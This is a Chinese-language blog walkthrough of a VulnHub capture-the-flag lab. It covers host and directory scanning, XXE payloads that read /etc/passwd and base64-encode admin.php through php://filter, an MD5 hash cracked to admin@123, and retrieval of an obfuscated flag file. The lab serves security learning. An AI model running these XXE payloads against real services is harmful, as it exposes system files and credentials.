目录
一、测试环境
1、系统环境
渗透机:kali2021.1(192.168.202.134)
靶 机:ubuntu17.10(192.168.202.161)
2、使用工具/软件
Kali: arp-scan(主机探测)、nmap(端口和服务扫描)、gobuster(目录遍历)
测试网址:http://192.168.202.161
二、测试目的
通过渗透测试,利用xml外部实体注入漏洞获取信息,得到flag
三、操作过程
下载的靶机压缩包中的Walkthrough.txt是作者给的拿flag思路,我只是实操了一遍。
1、信息搜集
先进行主机探测
arp-scan -l
靶机的IP是:192.168.202.161
端口和服务扫描
nmap -sS -T4 -p- -A 192.168.202.161
只有web服务,使用的是apache
有robots.txt目录
探测到 /xxe/* 和 /admin.php 目录文件
进行常规的目录扫描
gobuster dir -u http://192.168.202.161/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,jsp,html,txt
只扫到了robots.txt文件
访问一下robots.txt看看
robots.txt 文件是一个用于告诉搜索引擎爬虫(如 Googlebot、Bingbot 等)哪些部分的网站可以被访问,哪些部分不可以被访问的标准协议。
不允许爬虫访问xxe目录和admin.php文件,这比较可疑。
扫描xxe目录
gobuster dir -u http://192.168.202.161/xxe/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,jsp,html,txt
xxe目录是可以访问的,有默认主页index.php
admin.php在xxe目录下,不在根目录
web访问下xxe目录,是个登录页面
抓包看一下数据包,发现这个页面是xml传递name和password参数的
2、xml外部实体注入
尝试一下xml外部实体注入
这是xml外部实体注入的代码
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE root [
<!ENTITY hello SYSTEM "file:///etc/passwd">
]>
<root><name>&hello;</name><password>12</password></root> <!-- 这行根据xml的标签进行注入-->
将数据包发到repeater模块
作用是查看/etc/passwd文件
使用php流读取admin.php文件,得到该文件的base64加密源码
代码如下:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE root [
<!ENTITY hello SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&hello;</name><password>12</password></root>
php://filter : 这是一个特殊的 PHP 流,允许你在读取文件时应用各种滤镜。
read=convert.base64-encode : 这是一个指定的过滤器,将读取的数据进行 Base64 编码。Base64 是一种将二进制数据转换为 ASCII 字符串的编码方式,常用于在网络中传输二进制数据。
resource=admin.php : 这里指定了要读取的资源,即 admin.php 文件。这意味着该命令会读取 admin.php 的内容,并将其通过 convert.base64-encode 滤镜进行编码。
将base64解码,在源码中发现了用户名和密码
username: administhebest
password: e6e061838856bf47e1de730719fb2609
这个页面是后台登录页面
密码用MD5解密一下
得到admin@123
username: administhebest
password: admin@123
登录admin.php查看
给出了flag的超链接
查看会发现,not found
这是这个靶机设计失误的地方,flagmeout.php在xxe目录下,这和开头的admin.php不在根目录,而在xxe目录一样写错了。
访问xxe目录下的flagmeout.php
给出了flag的地址,用base加密了
解密方法:base32 --> base64
使用的识别并解码的工具:https://github.com/mufeedvh/basecrack.git
得到flag的存放地址:/etc/.flag.php
用xml外部实体漏洞查看一下/etc/.flag.php
得到一串密文
这是phpnonalpha2一种php代码混淆技术,用于加密和隐藏代码的实际逻辑。
无妨,将这串加密代码保存为flag.php文件,解析一下,会有报错信息但是也得到了flag。
记得加<?php ?>标签,因为这是php代码。
SAFCSP{xxe_is_so_easy}
四、结论
出现xml泄露即可测试xml外部实体注入漏洞即xxe漏洞,存在漏洞可以注入出靶机文件的信息。
phpnonalpha2 code 可以使用php解析器直接解析。
标签:xml,txt,XXE,admin,flag,vulnhub,xxe,php,测试报告 From: https://blog.csdn.net/2301_79698171/article/details/142764804